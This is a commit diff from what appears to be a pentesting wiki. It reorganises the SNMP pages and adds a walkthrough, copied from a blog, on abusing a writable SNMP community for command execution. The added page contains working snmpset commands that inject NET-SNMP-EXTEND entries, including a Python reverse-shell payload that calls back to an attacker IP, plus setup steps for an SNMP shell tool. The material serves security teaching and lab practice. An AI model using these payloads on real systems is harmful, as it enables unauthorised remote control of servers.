GitBook: [master] 4 pages modified

SUMMARY.md

@@ -246,7 +246,8 @@
 * [137,138,139 - Pentesting NetBios](pentesting/137-138-139-pentesting-netbios.md)
 * [139,445 - Pentesting SMB](pentesting/pentesting-smb.md)
 * [143,993 - Pentesting IMAP](pentesting/pentesting-imap.md)
-* [161,162,10161,10162/udp - Pentesting SNMP](pentesting/pentesting-snmp.md)
+* [161,162,10161,10162/udp - Pentesting SNMP](pentesting/pentesting-snmp/README.md)
+  * [SNMP RCE](pentesting/pentesting-snmp/snmp-rce.md)
 * [194,6667,6660-7000 - Pentesting IRC](pentesting/pentesting-irc.md)
 * [264 - Pentesting Check Point FireWall-1](pentesting/pentesting-264-check-point-firewall-1.md)
 * [389, 636, 3268, 3269 - Pentesting LDAP](pentesting/pentesting-ldap.md)

pentesting/pentesting-snmp/README.md

@@ -19,7 +19,7 @@ Scalar objects define a single object instance whereas tabular objects define mu
 **OIDs** stands for **O**bject **Id**entifiers. **OIDs uniquely identify managed objects in a MIB hierarchy**. This can be depicted as a tree, the levels of which are assigned by different organizations. Top level MIB object IDs \(OIDs\) belong to different standard organizations.  
 **Vendors define private branches including managed objects for their own products.**
 
-![](../.gitbook/assets/snmp_oid_mib_tree.png)
+![](../../.gitbook/assets/snmp_oid_mib_tree.png)
 
 You can **navigate** through an **OID tree** from the web here: [http://www.oid-info.com/cgi-bin/display?tree=\#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) or **see what a OID means** \(like `1.3.6.1.2.1.1`\) accessing [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).  
 There are some **well-known OIDs** like the ones inside [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) that references MIB-2 defined Simple Network Management Protocol \(SNMP\) variables. And from the **OIDs pending from this one** you can obtain some interesting host data \(system data, network data, processes data...\)
@@ -85,7 +85,7 @@ In versions 1 and 2/2c if you to use a **bad** community string the server wont
 
 ## Brute-Force Community String \(v1 and v2c\)
 
-To **guess the community string** you could perform a dictionary attack. Check [here different ways to perform a brute-force attack against SNMP](../brute-force.md#snmp).
+To **guess the community string** you could perform a dictionary attack. Check [here different ways to perform a brute-force attack against SNMP](../../brute-force.md#snmp).
 
 ## Enumerating SNMP
 
@@ -111,6 +111,12 @@ And **in** _**/etc/snmp/snmp.conf**_ **comment the line "mibs :"**
 
 **SNMP** has a lot of information about the host and things that you may find interesting are: **Network interfaces** \(IPv4 and **IPv6** address\) and **processes running** \(may contain passwords\)....
 
+## From SNMP to RCE
+
+If you have the **string** that allows you to **write values** inside the SNMP service, you may be able to abuse it to **execute commands**:
+
+{% page-ref page="snmp-rce.md" %}
+
 ## **Massive SNMP**
 
 [Braa ](https://github.com/mteg/braa)is a mass SNMP scanner. The intended usage of such a tool is, of course, making SNMP queries – but unlike snmpwalk from net-snmp, it is able to query dozens or hundreds of hosts simultaneously, and in a single process. Thus, it consumes very few system resources and does the scanning VERY fast.

pentesting/pentesting-snmp/snmp-rce.md

@@ -0,0 +1,78 @@
+# SNMP RCE
+
+This post was copied from [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
+
+SNMP is sometimes overseen by the administrator of the device or server where it is left in a default configuration. SNMP community with write permissions \(**rwcommunity**\) on the Linux operating system can be abused to let the attacker execute a command on the server.
+
+![](https://rioasmara.files.wordpress.com/2021/02/image-6.png?w=508)
+
+## **Extending the Services**
+
+While you are not able to modify existing entries that were configured in **snmpd.conf**, it is possible to add additional commands over SNMP, because the “MAX-ACCESS” permission setting in the MIB definition is set to “**read-create**”
+
+Adding a new command basically works by appending an additional row to the “**nsExtendObjects**” table.
+
+```bash
+snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
+'nsExtendStatus."evilcommand"' = createAndGo \
+'nsExtendCommand."evilcommand"' = /bin/echo \
+'nsExtendArgs."evilcommand"' = 'hello world'
+```
+
+Injecting a command to run on the SNMP service. **NET-SNMP-EXTEND-MIB** requires that you always provide the absolute path to the executable. The called binary/script must also exist and be executable.
+
+![](https://rioasmara.files.wordpress.com/2021/02/image-15.png?w=916)
+
+Executing the command that we injected to the SNMP by enumerating it using snmpwalk
+
+```bash
+snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
+```
+
+Showing that the command is /bin/echo.
+
+![](https://rioasmara.files.wordpress.com/2021/02/image-11.png?w=569)
+
+The command will be executed when the it is read. **run-on-read\(\)**
+
+![](https://rioasmara.files.wordpress.com/2021/02/image-12.png?w=612)
+
+The command **/bin/echo "hello rio is here"** was executed during our snmpwalk read
+
+![](https://rioasmara.files.wordpress.com/2021/02/image-13.png?w=653)
+
+## **Getting the Shell** **from Net-SNMP Extend**
+
+In this section, I would like to discuss how to gain a server shell to control the server.
+
+You can use python script developed by **mxrch** that can be downloaded from [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)
+
+You can install the pre-requisite to run this:
+
+```bash
+sudo apt install snmp snmp-mibs-downloader rlwrap -y
+git clone https://github.com/mxrch/snmp-shell
+cd snmp-shell
+sudo python3 -m pip install -r requirements.txt
+```
+
+![](https://rioasmara.files.wordpress.com/2021/02/image-18.png?w=723)
+
+**Creating reverse shell**
+
+You can also create reverse shell manually by injecting the command below into the SNMP
+
+```bash
+snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
+```
+
+![](https://rioasmara.files.wordpress.com/2021/02/image-19.png?w=930)
+
+run the snmpwalk to trigger the command execution
+
+![](https://rioasmara.files.wordpress.com/2021/02/image-21.png?w=687)
+
+Our netcat receives the reverseshell connection from the victim that allow us to gain control over the victim machine
+
+![](https://rioasmara.files.wordpress.com/2021/02/image-20.png?w=502)
+